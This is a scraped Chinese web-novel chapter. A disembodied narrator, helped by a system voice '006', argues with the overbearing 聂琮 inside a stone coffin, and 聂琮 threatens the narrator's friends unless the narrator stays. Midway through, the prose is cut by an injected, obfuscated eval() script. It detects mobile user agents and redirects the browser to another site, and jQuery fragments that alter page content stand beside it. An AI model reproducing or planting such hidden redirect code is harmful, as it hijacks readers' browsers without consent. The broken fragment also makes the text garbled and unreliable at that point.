柳矣墨 作品

78.第七十八章 解闷的人

“请你让开!”墨燨提高了音量,似乎已经动了怒,他毫不客气打断了墨逸的话。


见墨燨去意已决,墨逸只能侧身让开,默默地看着他打开房门,毫不犹豫冲进了夜色之中。


如今墓室早已被夷为平地,墨逸明显想出言相劝,让墨燨打消这个念头,担心他看到那番景象后,心里一时难以接受,做出什么过激的举动。


墨逸对着空无一人的房间,轻轻摇了摇头,叹息了一声,低声喃喃:“看来只能去找鹤枫商量对策了。”


他也转身离了房间。


看到这里,他们几人已经四处分散,我不好再继续实时查看了。


“006,可以了,暂时中断吧!”


【收到!已经中断。】


等我收回所有思绪后,赫然发现这么久过去,我周围还是一片寂静,而且,显然处于一片黑暗之中。


聂琮对我的禁锢已经没有了,我稍微舒了一下筋骨,发现现在所处的空间似乎不大,而且气温很低。


我的后背正靠在一堵石墙上,石墙的冰凉感从后背渗入体内,使我不由得打了个冷颤,上下也牙齿开始打架。


“艹,这什么鬼地方?怎么这么冷?”


“死人也会怕冷?”聂琮低沉的嗓音在我右耳边响起,声音里透着一丝笑意。


我惊了一跳,立马往左边闪去。


“咚~”后脑勺陡然撞向某个硬物,传来一阵尖锐的刺痛。


我赶紧抬手揉着被撞的头部,疼得龇牙咧嘴,丝丝抽气。


疼痛有所缓解后,我暂时也没搭理聂琮,抬手摸了摸周围,发现这地方竟然只有一手之宽,手摸到的地方都是石壁,也就是说这里很可能是个封闭的小石屋,所以空间才这么小。


尼玛,这是要跟我玩密室逃脱吗?


我问:“这是哪?”


“当然是宝地。”聂琮声音里有着隐忍不住的笑意,他明显故意避重就轻。


我翻了个白眼:“你可别忽悠我,我一摸就知道这里绝对不是什么好地方。”


“棺墓对你来说难道不是宝地?”聂琮好笑的反问。


“什么?棺墓?你竟然把我一个大活人塞进棺材里?”


我只觉得不可思议,好端端地把我扔进棺材里做什么?


聂琮幽幽道:“你莫非忘了你现在只是个孤魂野鬼?”


“我……”我竟无言以对。


可不是嘛!没有墨燨的肉身栖息,我确实是个孤魂野鬼。


但是只要是意识清醒的,就不应该睡棺材吧?多不吉利啊!


真是烦人!也不知道到底什么时候能出去?


这聂琮是不是有那什么大病?他人都已经复活了,干什么还要回棺材里呆着?


我试着用双手推了推棺盖,悲催的发现这棺盖很厚重,根本就没法挪动半分。


这要是木棺就好办了,可惜这是石棺,重量可想而知,不是普通人的体力能打开的。


不过,以前在电视里看到过,有些石棺墓设有开启机关,这个石棺比一般的棺材要大一些,应该是有钱或有权人家的墓室,很有可能配有机关。想到这里,我在石壁上摸索起来,石壁有些凹凸不平,我平时手感什么的也不咋样,一时半会也猜不出摸到的是什么,隐约觉得有点像刻上去的石画。


算了,管他的,只要摸到类似于按钮之类东西,直接摁下去就行了。


“你是不是男子?”


聂琮突然出声,问了这么句莫名其妙的话。


“啥?”我抽了抽嘴角,停下了手中的动作。


几个意思啊?


眼瞎吗?


这难道不是明摆着的?


这话伤害性不大,侮辱性极强。


我毫不客气地回怼:“你眼瞎吗?我不是男人是什么?”


我这话才刚说完,突然手腕上传来一片冰冷,一股力量扯得我极速往右倒去。


我吓了一跳,惊呼出声:“哎哎哎!”


后背猛然撞上一堵肉墙,冷硬的肌肉震得我后背一阵发麻。


我用力的挣扎,只想挣脱右手腕上的手掌。


挣扎时还因为用力过度,手腕都给我弄得疼个半死。


我很是气恼,怒斥道:“你有病啊?拽我这么紧干什么?手腕都要给你拉断了。”


本以为我不知死活的态度,会让聂琮怒火冲天,不料他却忽然松了手,幽幽出声道:“你当真不知何为害怕?”


又是一句没头没脑的话。


我发现我完全跟不上这位老哥的脑回路,我往旁边挪了挪,保持安全距离后才回怼:“你什么意思?难道你认为我应该痛哭流涕的向你跪地求饶?”


想得美!男儿膝下有黄金,跪天跪地父母,其他人想都别想。


“你不想活命?”聂琮的语气我有些捉摸不透。


我翻了个白眼:“我不想活命的话,我会在这跟你费半天劲?早就打爆你的头了好嘛?”


聂琮被哽了一下,半晌没出声。


我真的有点怀疑,这聂琮是不是有受虐狂倾向。


我都这么不客气了,他竟然没有动怒。


【你想多了,他只是感到新鲜罢了。毕竟在他最巅峰辉煌的时期,只要他出现的地方,不是一片跪地求饶声,就是充满敬畏的称赞声,他都无法和别人正常交谈,平时想找个聊天解闷的人都没有。】


我觉得过于夸张了,问006:“他不是有师父吗?难道师徒俩从不交流?”


【聂琮的师父虽然没有嫌弃他神魔共体的怪异体质,也真心收他做名下关门弟子,但是他师父对他一直极为严厉,除了修炼的事,其他事他从不敢过问,更别说与师父亲近的聊天了。


在他很小的时候,周围身边人担心他会成魔,都把他当瘟神一样,自然是躲得越远越好。


而你给他感觉就是,你并不在意他圣尊的身份,既不畏惧他,也不敬重他,对待他就像对待普通人一样随意,他很喜欢这种相处模式。】


我不以为然道:“有得必有失,就他这么牛叉,强大到简直变态的程度,谁敢不自量力的乱来?”


顿了顿,我又补充了一句:“再者,以他那一人之力挑战神魔两界的英雄事迹,哪还有人敢在他面前放肆?大家自然是敬畏他,把他当成救世主了。”


【的确就是这个理。】


006朝我竖起大拇指。</p


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15065894|155239||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


>


我摇了摇头,不打算再跟006讨论下去。


也懒得和聂琮继续纠缠,直接问出声:“我说,到底什么时候能出去?你不会打算一直在这个鬼地方呆下去吧?”


“不然呢?”聂琮淡然反问道。


我毫不客气的直白道:“要留,你自己留下!我可不愿意呆在棺材里。”


聂琮不容置疑道:“你也得留下!”


“不是!”我真的很无语:“我就不明白了,我们四人当中就属我最废材,根本毫无用处,你干嘛非得掳我来给你解闷?”


聂琮冷嗤了一声:“这只是你认为的,并不是本尊。”


我不耐烦道:“那你到底想怎么样?既不打算杀我,又不肯放我走,我的朋友可都在担心着我的安危呢!”


聂琮冷声道:“以后,你只需本尊一个朋友就行。”


我:“……”


什么玩意儿?


他这是想与我深交的意思?


但是他的表达方式是不是有问题?


“那可不行!他们对我来说都是很重要的人,再说朋友在多不在少,你难道没有朋友?”


我其实有点怀疑,他到底知不知道朋友的定义?


聂琮微微一顿,沉默了一会,再次开口:“本尊再说一次,你只能待在本尊身边,哪儿也不许去!不然……”


他嗓音森然冷漠,却透着一丝不自然。


我哭笑不得:“大哥,俗话说五湖四海皆兄弟,你是不是搞错了模式,朋友又不是交往对象,没有一对一的说法。”


这聂琮脑子果然有点问题,有这么结交新朋友的?开什么玩笑!把我当什么,私人物品吗?


这人真是够自大的,也太以自我为中心了。


“本尊所说的,你遵守就行,不得有异议。”


聂琮重重的命令道,无形中带着一股压迫感。


我忍不住又猛翻了几个白眼:靠!这他妈不是欺负人吗?仗着武力值高,仗着别人弄不死你,你就如此高傲自负?我看上去像是这么听话的人?


那你就看错了,我可是天生反骨,绝不是任你拿在手里揉捏的软柿子。


我讽刺一笑,问道:“我要是不遵守,你又能怎样?”


聂琮冷哼了一声,眼中闪过一丝厉色:“他们的性命可掌握在你手里,你若不遵守,那他们都得死!”


我心中一万匹草泥马奔过:我可真是谢谢你啊!堂堂圣尊也好意思玩威胁人的把戏。


懒得跟聂琮废话,反正打又打不过他,现在就算争执再多也没用,还是好好想想该怎么逃跑的对策才是。


墓室突然安静下来,氛围变得有些诡异。


这样下去也不是办法,总不能一直躺尸摆烂。


想了想,我喊道:“那什么!我想拉屎!”


“咳!咳!咳!”


聂琮显然没料到我突然来这么一句粗鲁的话,当即一口气呛在喉咙里,剧烈的咳嗽起来。


我管他怎么想,我只要离开这鬼地方。


聂琮咳嗽缓和后也没回应,我干脆继续提醒:“我要上茅厕,你听到没有?”


聂琮清了清嗓子,道:“知道了!”